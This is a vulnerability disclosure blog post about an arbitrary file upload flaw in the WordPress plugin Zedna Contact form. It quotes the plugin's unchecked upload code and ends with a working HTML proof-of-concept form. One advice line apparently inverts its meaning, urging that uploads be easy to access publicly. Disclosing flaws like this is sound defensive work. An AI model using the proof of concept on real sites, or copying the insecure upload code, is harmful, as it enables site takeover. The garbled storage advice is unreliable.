11 Sep

What Security Review? Brand New WordPress Plugin Contains Arbitrary File Upload Vulnerability

Brand new WordPress plugins are supposed to go through a security review before being allowed in the Plugin Directory. Either those reviews are not happening or they are failing to catch things that should have been caught. Take the plugin Zedna Contact form, which we came across due our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities flagging that it contains an arbitrary file upload vulnerability, which is a type of vulnerability likely to be exploited.

We have long offered to provide the team running the Plugin Directory help to have a capability similar to that monitoring. Running the plugin through our Plugin Security Checker would have warned about that as well. We have also long offered the team running the Plugin Directory free access to the advanced mode of that tool for free. We haven’t heard any interest from that team to either of those offers.

The plugin registers the function zedna_contact_form_shortcode() to run when using the shortcode “contact”:

336
add_shortcode( 'contact', 'zedna_contact_form_shortcode' );

In that function, which is located in the file /zedna-contact-from-attachment.php, if the POST input “ContactButton” exists then an arbitrary file sent with the request will be saved to the root directory of the website:

187
function zedna_contact_form_shortcode( $atts ) {
214
if(isset($_POST['ContactButton'])){
255
256
move_uploaded_file($_FILES["attachment"]["tmp_name"],WP_CONTENT_DIR . wp_upload_dir() .basename($_FILES['attachment']['name']));
$attachments = array(WP_CONTENT_DIR . wp_upload_dir() .$_FILES["attachment"]["name"]);

The code actually isn’t intended to save the file to the root directory, but due to poor coding instead of placing it where it is intended the code instead prepends “wp-contentArray” to the name of the file.

Beyond restricting what types of files can be uploaded, the file probably should be stored in a way that it can easily be publicly accessed, to prevent abuse of the upload functionality.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will upload the selected file to the root directory of the website with “wp-contentArray” prepended to the name of the file.

Make sure to replace “[page with shortcode]” with the location of a page with the plugin’s “contact” shortcode.

<html>
<body>
<form action="http://[page with shortcode]" enctype="multipart/form-data" method="POST">
<input type="hidden" name="ContactButton" value="" />
<input type="file" name="attachment" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.